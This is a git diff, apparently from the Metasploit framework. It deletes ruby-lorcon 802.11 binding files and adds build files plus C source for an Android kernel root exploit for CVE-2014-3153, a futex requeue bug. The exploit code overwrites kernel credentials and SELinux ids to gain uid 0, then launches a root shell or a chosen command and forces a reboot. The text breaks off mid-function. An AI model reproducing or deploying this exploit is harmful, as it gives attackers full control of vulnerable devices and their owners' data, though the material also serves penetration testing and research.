rb_define_method(cDevice, "channel=", Lorcon_set_channel, 1);
|
||||
rb_define_method(cDevice, "channel", Lorcon_get_channel, 0);
|
||||
|
||||
rb_define_method(cDevice, "loop", Lorcon_capture_loop, -1);
|
||||
rb_define_method(cDevice, "each", Lorcon_capture_loop, -1);
|
||||
rb_define_method(cDevice, "each_packet", Lorcon_capture_loop, -1);
|
||||
rb_define_method(cDevice, "write", Lorcon_write_raw, 1);
|
||||
rb_define_method(cDevice, "inject", Lorcon_inject_packet, 1);
|
||||
rb_define_module_function(mLorcon, "drivers", Lorcon_list_drivers, 0);
|
||||
rb_define_module_function(mLorcon, "version", Lorcon_get_version, 0);
|
||||
rb_define_module_function(mLorcon, "find_driver", Lorcon_find_driver, 1);
|
||||
rb_define_module_function(mLorcon, "auto_driver", Lorcon_auto_driver, 1);
|
||||
}
|
||||
|
||||
|
|
@ -1,31 +0,0 @@
|
|||
#ifndef _MSFLORCON_H
|
||||
#define _MSFLORCON_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#include <lorcon2/lorcon.h>
|
||||
#include <pcap.h>
|
||||
|
||||
struct rldev {
|
||||
struct lorcon *context;
|
||||
};
|
||||
|
||||
struct rlpack {
|
||||
struct lorcon_packet *packet;
|
||||
|
||||
/* dot3 construction via multiple elements */
|
||||
u_char *bssid, *dot3;
|
||||
int dir, len;
|
||||
};
|
||||
|
||||
|
||||
typedef struct rblorconjob {
|
||||
struct pcap_pkthdr hdr;
|
||||
unsigned char *pkt;
|
||||
} rblorconjob_t;
|
||||
|
||||
#endif
|
|
@ -1,41 +0,0 @@
|
|||
This is an experimental interface for lorcon, a 802.11 library
|
||||
developed by Joshua Wright and dragorn. This interface is only
|
||||
available on Linux and with lorcon-supported wireless drivers.
|
||||
|
||||
For more information, please see the lorcon documentation and code:
|
||||
http://www.802.11mercenary.net/lorcon/
|
||||
|
||||
To build this extension:
|
||||
|
||||
1) Download, compile, and install lorcon
|
||||
The latest version of lorcon can pulled from SVN:
|
||||
$ svn co https://802.11ninja.net/svn/lorcon/trunk/ lorcon
|
||||
$ cd lorcon
|
||||
$ ./configure
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
# exit
|
||||
$ cd ..
|
||||
|
||||
2) build the ruby extension..
|
||||
$ ruby extconf.rb
|
||||
$ make
|
||||
$ sudo make install
|
||||
-- or --
|
||||
$ su
|
||||
# make install
|
||||
|
||||
|
||||
NOTES:
|
||||
|
||||
if Ubuntu 8.04 (and probably others) bitches about 'mkmf',
|
||||
you need ruby dev package.
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ ruby extconf.rb
|
||||
extconf.rb:2:in `require': no such file to load -- mkmf (LoadError)
|
||||
from extconf.rb:2
|
||||
|
||||
:~/metasploit/external/ruby-lorcon$ sudo apt-get install ruby1.8-dev
|
|
@ -1,16 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'mkmf'
|
||||
|
||||
|
||||
$CFLAGS += " -I/usr/include/lorcon2"
|
||||
|
||||
if ( RUBY_VERSION =~ /^(1\.9|2\.0)/ )
|
||||
$CFLAGS += " -DRUBY_19"
|
||||
end
|
||||
|
||||
if find_library("orcon2", "lorcon_list_drivers", "lorcon2/lorcon.h")
|
||||
create_makefile("Lorcon2")
|
||||
else
|
||||
puts "Error: the lorcon2 library was not found, please see the README"
|
||||
end
|
||||
|
|
@ -1,59 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
$:.unshift(File.dirname(__FILE__))
|
||||
|
||||
require "Lorcon2"
|
||||
require 'thread'
|
||||
require "pp"
|
||||
|
||||
intf = ARGV.shift || "wlan0"
|
||||
|
||||
$stdout.puts "Checking LORCON version"
|
||||
|
||||
pp Lorcon.version
|
||||
|
||||
$stdout.puts "\nFetching LORCON driver list"
|
||||
|
||||
pp Lorcon.drivers
|
||||
|
||||
$stdout.puts "\nResolving driver by name 'mac80211'"
|
||||
|
||||
pp Lorcon.find_driver("mac80211")
|
||||
|
||||
$stdout.puts "\nAuto-detecting driver for interface wlan0"
|
||||
|
||||
pp Lorcon.auto_driver(intf)
|
||||
|
||||
|
||||
tx = Lorcon::Device.new(intf)
|
||||
$stdout.puts "\nCreated LORCON context"
|
||||
|
||||
if tx.openinjmon()
|
||||
$stdout.puts "\nOpened as INJMON: " + tx.capiface
|
||||
else
|
||||
$stdout.puts "\nFAILED to open " + tx.capiface + " as INJMON: " + tx.error
|
||||
end
|
||||
|
||||
def safe_loop(wifi)
|
||||
@q = Queue.new
|
||||
reader = Thread.new do
|
||||
wifi.each_packet {|pkt| @q << pkt }
|
||||
end
|
||||
|
||||
eater = Thread.new do
|
||||
while(pkt = @q.pop)
|
||||
yield(pkt)
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
eater.join
|
||||
rescue ::Interrupt => e
|
||||
reader.kill if reader.alive?
|
||||
puts "ALL DONE!"
|
||||
end
|
||||
end
|
||||
|
||||
safe_loop(tx) do |pkt|
|
||||
pp pkt
|
||||
end
|
|
@ -1,11 +0,0 @@
|
|||
Path: .
|
||||
URL: http://802.11ninja.net/svn/lorcon/trunk/ruby-lorcon
|
||||
Repository Root: http://802.11ninja.net/svn/lorcon
|
||||
Repository UUID: 61418039-352c-0410-8488-9e586b2135b2
|
||||
Revision: 204
|
||||
Node Kind: directory
|
||||
Schedule: normal
|
||||
Last Changed Author: dragorn
|
||||
Last Changed Rev: 202
|
||||
Last Changed Date: 2009-09-15 09:31:29 -0500 (Tue, 15 Sep 2009)
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
|
||||
LOCAL_PATH := $(call my-dir)
|
||||
|
||||
include $(CLEAR_VARS)
|
||||
|
||||
LOCAL_MODULE := exploit
|
||||
LOCAL_SRC_FILES := exploit.c
|
||||
LOCAL_CFLAGS := -fno-stack-protector -O0
|
||||
include $(BUILD_EXECUTABLE)
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
|
||||
all: install
|
||||
|
||||
build:
|
||||
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk
|
||||
|
||||
install: build
|
||||
mv libs/armeabi/exploit ../../../../data/exploits/CVE-2014-3153.elf
|
||||
|
||||
test: build
|
||||
adb push libs/armeabi/exploit /data/local/tmp/exploit
|
||||
adb shell "cd /data/local/tmp; ./exploit id"
|
||||
|
||||
clean:
|
||||
rm -rf libs
|
||||
rm -rf obj
|
||||
|
|
@ -0,0 +1,834 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/futex.h>
|
||||
#include <sys/resource.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#define FUTEX_WAIT_REQUEUE_PI 11
|
||||
#define FUTEX_CMP_REQUEUE_PI 12
|
||||
|
||||
#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))
|
||||
|
||||
#define KERNEL_START 0xc0000000
|
||||
|
||||
#define LOCAL_PORT 5551
|
||||
|
||||
struct thread_info;
|
||||
struct task_struct;
|
||||
struct cred;
|
||||
struct kernel_cap_struct;
|
||||
struct task_security_struct;
|
||||
struct list_head;
|
||||
|
||||
struct thread_info {
|
||||
unsigned long flags;
|
||||
int preempt_count;
|
||||
unsigned long addr_limit;
|
||||
struct task_struct *task;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct kernel_cap_struct {
|
||||
unsigned long cap[2];
|
||||
};
|
||||
|
||||
struct cred {
|
||||
unsigned long usage;
|
||||
uid_t uid;
|
||||
gid_t gid;
|
||||
uid_t suid;
|
||||
gid_t sgid;
|
||||
uid_t euid;
|
||||
gid_t egid;
|
||||
uid_t fsuid;
|
||||
gid_t fsgid;
|
||||
unsigned long securebits;
|
||||
struct kernel_cap_struct cap_inheritable;
|
||||
struct kernel_cap_struct cap_permitted;
|
||||
struct kernel_cap_struct cap_effective;
|
||||
struct kernel_cap_struct cap_bset;
|
||||
unsigned char jit_keyring;
|
||||
void *thread_keyring;
|
||||
void *request_key_auth;
|
||||
void *tgcred;
|
||||
struct task_security_struct *security;
|
||||
|
||||
/* ... */
|
||||
};
|
||||
|
||||
struct list_head {
|
||||
struct list_head *next;
|
||||
struct list_head *prev;
|
||||
};
|
||||
|
||||
struct task_security_struct {
|
||||
unsigned long osid;
|
||||
unsigned long sid;
|
||||
unsigned long exec_sid;
|
||||
unsigned long create_sid;
|
||||
unsigned long keycreate_sid;
|
||||
unsigned long sockcreate_sid;
|
||||
};
|
||||
|
||||
|
||||
struct task_struct_partial {
|
||||
struct list_head cpu_timers[3];
|
||||
struct cred *real_cred;
|
||||
struct cred *cred;
|
||||
struct cred *replacement_session_keyring;
|
||||
char comm[16];
|
||||
};
|
||||
|
||||
|
||||
struct mmsghdr {
|
||||
struct msghdr msg_hdr;
|
||||
unsigned int msg_len;
|
||||
};
|
||||
|
||||
//bss
|
||||
int uaddr1 = 0;
|
||||
int uaddr2 = 0;
|
||||
struct thread_info *HACKS_final_stack_base = NULL;
|
||||
pid_t waiter_thread_tid;
|
||||
pthread_mutex_t done_lock;
|
||||
pthread_cond_t done;
|
||||
pthread_mutex_t is_thread_desched_lock;
|
||||
pthread_cond_t is_thread_desched;
|
||||
volatile int do_socket_tid_read = 0;
|
||||
volatile int did_socket_tid_read = 0;
|
||||
volatile int do_splice_tid_read = 0;
|
||||
volatile int did_splice_tid_read = 0;
|
||||
volatile int do_dm_tid_read = 0;
|
||||
volatile int did_dm_tid_read = 0;
|
||||
pthread_mutex_t is_thread_awake_lock;
|
||||
pthread_cond_t is_thread_awake;
|
||||
int HACKS_fdm = 0;
|
||||
unsigned long MAGIC = 0;
|
||||
unsigned long MAGIC_ALT = 0;
|
||||
pthread_mutex_t *is_kernel_writing;
|
||||
pid_t last_tid = 0;
|
||||
int g_argc;
|
||||
char rootcmd[2048] = "";
|
||||
|
||||
|
||||
ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
len = write(pipefd[1], writebuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
read(pipefd[0], readbuf, count);
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
|
||||
int pipefd[2];
|
||||
ssize_t len;
|
||||
|
||||
pipe(pipefd);
|
||||
|
||||
write(pipefd[1], writebuf, count);
|
||||
len = read(pipefd[0], readbuf, count);
|
||||
|
||||
if (len != count) {
|
||||
printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
close(pipefd[0]);
|
||||
close(pipefd[1]);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
void write_kernel(int signum)
|
||||
{
|
||||
struct thread_info stackbuf;
|
||||
unsigned long taskbuf[0x100];
|
||||
struct cred *cred;
|
||||
struct cred credbuf;
|
||||
struct task_security_struct *security;
|
||||
struct task_security_struct securitybuf;
|
||||
pid_t pid;
|
||||
int i;
|
||||
int ret;
|
||||
FILE *fp;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
pthread_cond_signal(&is_thread_awake);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
if (HACKS_final_stack_base == NULL) {
|
||||
static unsigned long new_addr_limit = 0xffffffff;
|
||||
char *slavename;
|
||||
int pipefd[2];
|
||||
char readbuf[0x100];
|
||||
|
||||
printf("cpid1 resumed\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
HACKS_fdm = open("/dev/ptmx", O_RDWR);
|
||||
unlockpt(HACKS_fdm);
|
||||
slavename = ptsname(HACKS_fdm);
|
||||
|
||||
open(slavename, O_RDWR);
|
||||
|
||||
do_splice_tid_read = 1;
|
||||
while (1) {
|
||||
if (did_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read(HACKS_fdm, readbuf, sizeof readbuf);
|
||||
|
||||
printf("addr_limit: %p\n", &HACKS_final_stack_base->addr_limit);
|
||||
|
||||
write_pipe(&HACKS_final_stack_base->addr_limit, &new_addr_limit, sizeof new_addr_limit);
|
||||
|
||||
pthread_mutex_unlock(is_kernel_writing);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
printf("cpid3 resumed.\n");
|
||||
|
||||
pthread_mutex_lock(is_kernel_writing);
|
||||
|
||||
printf("hack.\n");
|
||||
|
||||
read_pipe(HACKS_final_stack_base, &stackbuf, sizeof stackbuf);
|
||||
read_pipe(stackbuf.task, taskbuf, sizeof taskbuf);
|
||||
|
||||
cred = NULL;
|
||||
security = NULL;
|
||||
pid = 0;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
struct task_struct_partial *task = (void *)&taskbuf[i];
|
||||
|
||||
|
||||
if (task->cpu_timers[0].next == task->cpu_timers[0].prev && (unsigned long)task->cpu_timers[0].next > KERNEL_START
|
||||
&& task->cpu_timers[1].next == task->cpu_timers[1].prev && (unsigned long)task->cpu_timers[1].next > KERNEL_START
|
||||
&& task->cpu_timers[2].next == task->cpu_timers[2].prev && (unsigned long)task->cpu_timers[2].next > KERNEL_START
|
||||
&& task->real_cred == task->cred) {
|
||||
cred = task->cred;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
read_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
security = credbuf.security;
|
||||
|
||||
if ((unsigned long)security > KERNEL_START && (unsigned long)security < 0xffff0000) {
|
||||
read_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
|
||||
if (securitybuf.osid != 0
|
||||
&& securitybuf.sid != 0
|
||||
&& securitybuf.exec_sid == 0
|
||||
&& securitybuf.create_sid == 0
|
||||
&& securitybuf.keycreate_sid == 0
|
||||
&& securitybuf.sockcreate_sid == 0) {
|
||||
securitybuf.osid = 1;
|
||||
securitybuf.sid = 1;
|
||||
|
||||
printf("task_security_struct: %p\n", security);
|
||||
|
||||
write_pipe(security, &securitybuf, sizeof securitybuf);
|
||||
}
|
||||
}
|
||||
|
||||
credbuf.uid = 0;
|
||||
credbuf.gid = 0;
|
||||
credbuf.suid = 0;
|
||||
credbuf.sgid = 0;
|
||||
credbuf.euid = 0;
|
||||
credbuf.egid = 0;
|
||||
credbuf.fsuid = 0;
|
||||
credbuf.fsgid = 0;
|
||||
|
||||
credbuf.cap_inheritable.cap[0] = 0xffffffff;
|
||||
credbuf.cap_inheritable.cap[1] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[0] = 0xffffffff;
|
||||
credbuf.cap_permitted.cap[1] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[0] = 0xffffffff;
|
||||
credbuf.cap_effective.cap[1] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[0] = 0xffffffff;
|
||||
credbuf.cap_bset.cap[1] = 0xffffffff;
|
||||
|
||||
write_pipe(cred, &credbuf, sizeof credbuf);
|
||||
|
||||
pid = syscall(__NR_gettid);
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(taskbuf); i++) {
|
||||
static unsigned long write_value = 1;
|
||||
|
||||
if (taskbuf[i] == pid) {
|
||||
write_pipe(((void *)stackbuf.task) + (i << 2), &write_value, sizeof write_value);
|
||||
|
||||
if (getuid() != 0) {
|
||||
printf("ROOT FAILED\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else { //rooted
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sleep(1);
|
||||
|
||||
if (g_argc >= 2) {
|
||||
system(rootcmd);
|
||||
} else {
|
||||
system("/system/bin/sh -i");
|
||||
}
|
||||
|
||||
system("/system/bin/touch /dev/rooted");
|
||||
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
while (1) {
|
||||
ret = access("/dev/rooted", F_OK);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
printf("wait 10 seconds...\n");
|
||||
sleep(10);
|
||||
|
||||
printf("rebooting...\n");
|
||||
sleep(1);
|
||||
system("reboot");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_cond_signal(&done);
|
||||
pthread_mutex_unlock(&done_lock);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
void *make_action(void *arg) {
|
||||
int prio;
|
||||
struct sigaction act;
|
||||
int ret;
|
||||
|
||||
prio = (int)arg;
|
||||
last_tid = syscall(__NR_gettid);
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_cond_signal(&is_thread_desched);
|
||||
|
||||
act.sa_handler = write_kernel;
|
||||
act.sa_mask = 0;
|
||||
act.sa_flags = 0;
|
||||
act.sa_restorer = NULL;
|
||||
sigaction(12, &act, NULL);
|
||||
|
||||
setpriority(PRIO_PROCESS, 0, prio);
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
do_dm_tid_read = 1;
|
||||
|
||||
while (did_dm_tid_read == 0) {
|
||||
;
|
||||
}
|
||||
|
||||
ret = syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
printf("futex dm: %d\n", ret);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pid_t wake_actionthread(int prio) {
|
||||
pthread_t th4;
|
||||
pid_t pid;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
|
||||
do_dm_tid_read = 0;
|
||||
did_dm_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_desched_lock);
|
||||
pthread_create(&th4, 0, make_action, (void *)prio);
|
||||
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);
|
||||
|
||||
pid = last_tid;
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
while (do_dm_tid_read == 0) {
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
did_dm_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&is_thread_desched_lock);
|
||||
|
||||
return pid;
|
||||
}
|
||||
|
||||
int make_socket() {
|
||||
int sockfd;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
int sock_buf_size;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
if (sockfd < 0) {
|
||||
printf("socket failed.\n");
|
||||
usleep(10);
|
||||
} else {
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
}
|
||||
|
||||
while (1) {
|
||||
ret = connect(sockfd, (struct sockaddr *)&addr, 16);
|
||||
if (ret >= 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sock_buf_size = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));
|
||||
|
||||
return sockfd;
|
||||
}
|
||||
|
||||
void *send_magicmsg(void *arg) {
|
||||
int sockfd;
|
||||
struct mmsghdr msgvec[1];
|
||||
struct iovec msg_iov[8];
|
||||
unsigned long databuf[0x20];
|
||||
int i;
|
||||
int ret;
|
||||
|
||||
waiter_thread_tid = syscall(__NR_gettid);
|
||||
setpriority(PRIO_PROCESS, 0, 12);
|
||||
|
||||
sockfd = make_socket();
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(databuf); i++) {
|
||||
databuf[i] = MAGIC;
|
||||
}
|
||||
|
||||
for (i = 0; i < 8; i++) {
|
||||
msg_iov[i].iov_base = (void *)MAGIC;
|
||||
msg_iov[i].iov_len = 0x10;
|
||||
}
|
||||
|
||||
msgvec[0].msg_hdr.msg_name = databuf;
|
||||
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
|
||||
msgvec[0].msg_hdr.msg_iov = msg_iov;
|
||||
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
|
||||
msgvec[0].msg_hdr.msg_control = databuf;
|
||||
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
|
||||
msgvec[0].msg_hdr.msg_flags = 0;
|
||||
msgvec[0].msg_len = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr1, FUTEX_WAIT_REQUEUE_PI, 0, 0, &uaddr2, 0);
|
||||
|
||||
do_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
if (did_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
ret = 0;
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
|
||||
if (ret <= 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (ret < 0) {
|
||||
perror("SOCKSHIT");
|
||||
}
|
||||
printf("EXIT WTF\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static inline setup_exploit(unsigned long mem)
|
||||
{
|
||||
*((unsigned long *)(mem - 0x04)) = 0x81;
|
||||
*((unsigned long *)(mem + 0x00)) = mem + 0x20;
|
||||
*((unsigned long *)(mem + 0x08)) = mem + 0x28;
|
||||
*((unsigned long *)(mem + 0x1c)) = 0x85;
|
||||
*((unsigned long *)(mem + 0x24)) = mem;
|
||||
*((unsigned long *)(mem + 0x2c)) = mem + 8;
|
||||
}
|
||||
|
||||
void *search_goodnum(void *arg) {
|
||||
int ret;
|
||||
char filename[256];
|
||||
FILE *fp;
|
||||
char filebuf[0x1000];
|
||||
char *pdest;
|
||||
int vcscnt, vcscnt2;
|
||||
unsigned long magicval;
|
||||
pid_t pid;
|
||||
unsigned long goodval, goodval2;
|
||||
unsigned long addr, setaddr;
|
||||
int i;
|
||||
char buf[0x1000];
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
|
||||
|
||||
while (1) {
|
||||
ret = syscall(__NR_futex, &uaddr1, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr1);
|
||||
if (ret == 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
wake_actionthread(6);
|
||||
wake_actionthread(7);
|
||||
|
||||
uaddr2 = 0;
|
||||
do_socket_tid_read = 0;
|
||||
did_socket_tid_read = 0;
|
||||
|
||||
syscall(__NR_futex, &uaddr2, FUTEX_CMP_REQUEUE_PI, 1, 0, &uaddr2, uaddr2);
|
||||
|
||||
while (1) {
|
||||
if (do_socket_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_socket_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 == vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
printf("starting the dangerous things\n");
|
||||
|
||||
setup_exploit(MAGIC_ALT);
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
magicval = *((unsigned long *)MAGIC);
|
||||
|
||||
wake_actionthread(11);
|
||||
|
||||
if (*((unsigned long *)MAGIC) == magicval) {
|
||||
printf("using MAGIC_ALT.\n");
|
||||
MAGIC = MAGIC_ALT;
|
||||
}
|
||||
|
||||
while (1) {
|
||||
is_kernel_writing = (pthread_mutex_t *)malloc(4);
|
||||
pthread_mutex_init(is_kernel_writing, NULL);
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(11);
|
||||
|
||||
goodval = *((unsigned long *)MAGIC) & 0xffffe000;
|
||||
|
||||
printf("%p is a good number\n", (void *)goodval);
|
||||
|
||||
do_splice_tid_read = 0;
|
||||
did_splice_tid_read = 0;
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
while (1) {
|
||||
if (do_splice_tid_read != 0) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 0x19;
|
||||
vcscnt = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
did_splice_tid_read = 1;
|
||||
|
||||
while (1) {
|
||||
sprintf(filename, "/proc/self/task/%d/status", pid);
|
||||
fp = fopen(filename, "rb");
|
||||
if (fp == 0) {
|
||||
vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 != vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
goodval2 = 0;
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
|
||||
|
||||
wake_actionthread(12);
|
||||
goodval2 = *((unsigned long *)(MAGIC + 0x24));
|
||||
|
||||
printf("%p is also a good number.\n", (void *)goodval2);
|
||||
|
||||
for (i = 0; i < 9; i++) {
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(10);
|
||||
|
||||
if (*((unsigned long *)MAGIC) < goodval2) {
|
||||
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
printf("GOING\n");
|
||||
|
||||
write(HACKS_fdm, buf, sizeof buf);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *accept_socket(void *arg) {
|
||||
int sockfd;
|
||||
int yes;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
|
||||
yes = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
